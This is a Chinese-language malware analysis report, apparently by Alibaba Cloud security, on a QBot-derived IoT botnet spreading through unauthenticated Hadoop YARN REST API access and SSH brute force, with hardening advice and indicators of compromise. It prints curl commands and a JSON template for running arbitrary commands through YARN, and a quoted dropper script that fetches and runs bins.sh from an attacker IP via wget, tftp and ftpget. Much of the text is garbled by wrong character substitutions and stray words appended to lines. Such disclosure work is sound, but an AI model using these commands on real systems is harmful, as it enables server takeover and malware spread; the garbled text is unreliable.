由于看见，因此发现：QBotVariant谢绝落幕
互联网给人带来便捷的同时，其公开大量的资源也一样给恶意利用者带了便捷，愈来愈多公开的恶意程序源码下降了对外攻击、入侵的难度，使得安全问题越发严重。git
阿里云安全团队从今年5月份监测到一BOT家族，其样本改写自互联网公开渠道源码，在互联网上普遍传播，形成了极大的危害，云安全团队对该类样本作了分析、聚类、溯源，在此咱们将该类样本命名为QBotVariant。github
QBotVariant具备DDoS攻击、后门、下载器、暴力破解等功能，一旦被入侵便变成肉鸡，其主要传播方式经过Hadoop Yarn资源管理系统REST API未受权访问漏洞和基于弱口令的暴力破解。相似Mirai该BOT家族针对多个版本的操做系统，不只服务器受到危害，如CCTV监控、家庭路由等IOT设备更容易被攻击、入侵。Radware公司Pascal Geenens在最新的博客《New DemonBot Discovered》中说起到该类样本，可是他发现的IP、样本等信息只是该类家族的其中一个样本，而咱们从监测到30多个下载服务器能够看出，QBotVariant多变的IP和二进制样本变种，使其难以发现和跟踪。web
在云平台上，咱们监测到的QBotVariant活跃度以下，峰值的时候能够达到上千个，活跃度一直未减。算法
如下咱们将从传播方式、脚本分析、样本分析、溯源等多个角度对QBotVariant进行详细的分析。shell
入侵、传播方式
apache
QBotVariant家族传播的方式有两种，一是利用Hadoop Yarn资源管理系统REST API未受权访问漏洞进行入侵，二是经过硬编码的弱密码进行SSH暴力破解。json
Hadoop是一款由Apache基金会推出的分布式系统框架，它经过著名的MapReduce算法进行分布式处理，Yarn是Hadoop集群的资源管理系统。Hadoop Yarn资源管理系统配置不当致使能够未经受权进行访问，从而被攻击者恶意利用。攻击者无需认证便可经过REST API部署任务来执行任意代码，最终彻底控制服务器。安全
其问题来源于对外开启了如下做用的端口bash
yarn.resourcemanager.webapp.address，默认端口8088服务器
yarn.resourcemanager.webapp.https.address，默认端口8090
经过对新申请application，以下指令
curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'
再执行以下指令便可完成入侵
curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json
其example.json文件以下
{
"am-container-spec":{
"commands":{
"command":"执行的命令书写在这里"
}
},
"application-id":"application_xxxx_xxxxx",
"application-name":"test",
"application-type":"YARN"
}
脚本分析
咱们经过溯源找到了QBotVariant比较原始版本的脚本，在原始版本的脚本中支持wget、tftp、ftpget等脚本的执行，从远程下载服务器下载脚本并执行
bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;
tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;
tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh
如下是阿里云安全截获的一个通过改写的下载脚本，从脚本能够看出做者为了可以很好的对IOT设备支持，一方面编译了不一样版本的程序，经过ntpd、sshd、openssh等进行假装；另外一方面每一个命令行都加入了对busybox的支持，这些使得该类脚本很好的支持了IOT设备，为QBotVaraint的传播提供了更加便捷的途径。
在阿里云捕获的源码中有用于编译多个版本的脚本
QBotVariant支持版本类型及其对应二进制名称:
支持版本类型
对应二进制名称
支持版本类型
对应二进制名称
mips
ntpd
i586
ftp
mipsel
sshd
m68k
pftp
sh4
openssh
sparc
sh
x86_64
bash
armv4l
armv6l
tftp
armv5l
apache2
i686
wget
powerpc-440fp
telnetd
powerpc
cron
样本分析
阿里云截获的多批次样本都比较类似，都改编于QBot。某些做者为了精简样本或者进行杀软对抗可能将某些功能进行裁剪，咱们随机对比两个捕获的样本，如图右边的样本对getRandomPublicIP函数进行了裁剪，该样本只实现了QBot的少量功能，其文件更小、功能更加单一。
而绝大部分样本都实现了基本功能，其传播性、危害性等性质并未改变，部分函数如图所示
指令分析
咱们对远控指令进行了分析，其功能以下图所示
值得注意是StartTheLelz函数，该函数主要用于对随机生成的IP地址进行爆破，如图经过getRandomPublicIP函数获得随机的IP，将硬编码的用户名和密码存储在结构体中，而后进行链接，其最大爆破次数经过max变量进行控制，max和文件描述表的项数有关但最大不超过4096。
经过数据区能够看见做者集成了几种常见的用户名和密码用于爆破
若是最终爆破成功，则会在被爆破的主机中执行以下脚本，从而感染主机，再继续向外传播
除了集成常见的对外DDoS攻击方法，QBotVariant还能够进行对外发送垃圾数据，经过sendJUNK或sendUDP便可完成该动做，如图用于生成随机字符串的makeRandomStr函数，经过发送大量垃圾包一样能够形成网络带宽阻塞。
而QBotVariant为了最大化入侵价值，一样提供了远程shell命令执行功能，其命令以"SH"开头，经过fdgets、sockprintf将命令执行后的结果返回到远控端，实现以下
样本溯源/同源性分析
咱们在对样本分析的过程当中发现一个有趣的现象，样本为了逃避检测，有多种不一样的指令，咱们选取了几种QBotVariant的上线方式。
第一种，信息较简单，返回大小端、CPU架构、主机用途等信息。
第二种，信息比较全面，带有操做系统、CPU架构、主机用途、端口、主机IP等信息。
第三种，信息最为简单，只返回架构信息。
第四种，返回大小端、架构信息。
第五种，信息比较全面，架构信息、大小端、主机IP、主机用途等信息。
第六种，返回主机IP、类型、版本信息等。
第七种，返回架构、主机IP等信息。
咱们在对样本进行溯源发现，在pastebin上存在大量该类样本的源码、二进制文件等，其存在时间都在数月之久，做者目录下还包括其余类型IOT蠕虫，同时发现多个做者进行了QBot的改写，如图是其中一位做者的pastebin和github
QBot在国内彷佛你们认知很少，可是因为源码简单、客户端小、支持多种架构，从09年活跃至今一直未间断过，常被应用于远控、DDoS等客户端，在其截获的IP中，绝大部分位于北美和欧洲各地，可是云平台检测到来自国内IP的攻击源，国内安全人员应该引发重视。
安全加固 ● 云防火墙
开启云防火墙IPS拦截模式和虚拟补丁功能，云防火墙已经支持对该类漏洞的防护和防止暴力破解功能，用户即便不及时修复也依然可以进行防护拦截。
● 网络访问控制
使用"ECS/VPC安全组"对"受影响服务端口"访问源IP进行控制，若是自己Hadoop环境仅对内网提供服务，请不要将Hadoop服务端口发布到互联网。
● 更新升级
若使用自建的Hadoop，根据实际状况及时更新补丁，Hadoop在2.X以上版本提供了安全认证功能，加入了Kerberos认证机制，建议启用Kerberos认证功能或者您能够选择使用云上的MaxCompute(8年以上"零"安全漏洞)或云上的E-MAPREDUCE服务。
安全建议
● 云防火墙产品已支持防护针对此漏洞的攻击，建议用户能够购买云防火墙，开启检测。
● 经过安全管家服务，在阿里云安全专家的指导下进行安全加固及优化工做，避免系统受到漏洞影响。
总结
QBotVariant经过Hadoop Yarn资源管理系统REST API未受权访问漏洞、弱密码口令爆破等方式进行入侵，一旦感染此类蠕虫，不只会占用主机计算资源消耗带宽流量，成为攻击其余主机的肉鸡，还可能形成数据泄露，数据丢失等后果。
阿里云安全提醒广大互联网用户，注意第三方应用的配置，防止出现此类未受权漏洞，同时增强用户名和密码的安全意识，切实保护自身资产安全。
IOC
部分MD5-文件名
文件名
MD5
185.244.25.153
YSDKOP.arm4
cc9de0d789efc8636946b4b41f374dfc
YSDKOP.arm5
ac94604edfe7730ccf70d5cd75610d01
YSDKOP.arm6
dcb51c5abd234a41ee0439183f53fd2d
YSDKOP.arm7
2416380b2fe0c693fd7c26a91b4cb8ee
YSDKOP.i586
2f029723c778f15e8e825976c66e45cd
YSDKOP.i686
49ec48d3afdddb098fa2c857fc63c848
YSDKOP.m68k
7efef839902ca20431d58685d9075710
YSDKOP.mips
eab0810535b45fa1bf0f6243dafb0373
YSDKOP.mpsl
a2c4e09821be6a4594e88376b9c30b5d
YSDKOP.ppc
1fc61114722f301065cd9673025ce5e0
YSDKOP.sh4
38abc827e67ff53d0814979b435e2c40
YSDKOP.sparc
20a38aeeffba9f0f1635c7b4b78f3727
YSDKOP.x86
8fd97d622e69b69a3331ee5ed08e71b2
188.166.125.19
7e9c49b9e743bcf7b382fa000c27b49d
apache2
64394fb25494b0cadf6062a0516f7c1a
bash
75e7ce8c110bb132d3897b293d42116a
cron
e8dfae1fe29183548503dc0270878e52
ftp
0e765d00f0ee174e79c81c9db812e3a2
ntpd
2cb932dcb5db84dafa8cdc6b4afa52d0
openssh
606a3169f099b0f2423c63b4ed3f9414
pftp
6666ef216ce7434927338137760f4ab0
sh
cc2e82ffbc6d5053efade4849c13099f
sshd
00b0a6516986aca277d0148c7ddf38c4
tftp
38b075ee960d08e96b2e77205ec017de
wget
58c5e1bc66ac6b364639bce4b3f76c58
部分IP
178.128.194.222
178.128.7.76
103.214.111.122
130.185.250.199
194.182.80.200
138.197.74.100
198.199.84.119
104.248.165.108
178.128.46.254
159.65.227.17
206.189.196.216
80.211.109.66
194.48.152.114
159.89.114.171
178.128.43.104
185.244.25.153
209.97.159.10
46.36.37.121
46.29.164.242
46.17.47.250
158.69.60.239
195.181.223.138
80.211.39.186
188.166.125.19
104.248.112.122
212.237.26.71
178.128.239.252
104.248.212.127
104.248.63.168
部分URL及出现时间
URL
时间
20180904
20180904
http://178.128.239.252/bins.sh
20180908
http://158.69.60.239/bins/boti586final
20180908
http://158.69.60.239/bins/botx86_64final
20180908
http://158.69.60.239/bins/boti686final
20180908
20180908
http://178.128.239.252/bins.sh
20180909
http://130.185.250.199/bins.sh
20180909
20180913
http://104.248.112.122/Kuso69/Akiru.x86
20180918
20180919
http://104.248.112.122/Kuso69/Akiru.x86
20180919
20181003
20181005
20181009
20181009
20181010
20181010
http://104.248.212.127/bins.sh
20181010
20181010
http://206.189.196.216/bins.sh
20181010
20181010
20181011
20181011
20181011
http://104.248.212.127/bins.sh
20181011
20181012
20181012
http://195.181.223.138/bins.sh
20181012
20181012
20181012
http://104.248.212.127/bins.sh
20181012
20181015
http://104.248.165.108/bins.sh
20181018
20181018
http://103.214.111.122/bins.sh
20181019
20181019
20181019
20181021
http://178.128.194.222/bins.sh
20181026
http://178.128.194.222/bins.sh
20181027
http://178.128.194.222/bins.sh
20181028
20181031
20181101
20181103
本文为云栖社区原创内容，未经容许不得转载。
- 1. 由于看见，因此发现：QBotVariant谢绝落幕
- 2. 因为看见，所以发现：QBotVariant谢绝落幕
- 3. JavaScript的由于因此
- 4. 由于有你，因此精彩
- 5. 由于我懒，因此选择数学
- 6. 由于懂得，因此慈悲
- 7. “弹幕”到“落幕”， A站与粉丝神话谢幕
- 8. 由于坚信 因此看见 智付支付亮相全球最大金融科技峰会-Money20/20欧洲
- 9. 由于怕输，因此就不试了吗？
- 10. 由于写欧拉函数因此学会的简单对拍
- 更多相关文章...
- • R 因子 - R 语言教程
- • Markdown 段落 - Markdown 教程
- • ☆基于Java Instrument的Agent实现
- • Spring Cloud 微服务实战(三) - 服务注册与发现
-
每一个你不满意的现在，都有一个你没有努力的曾经。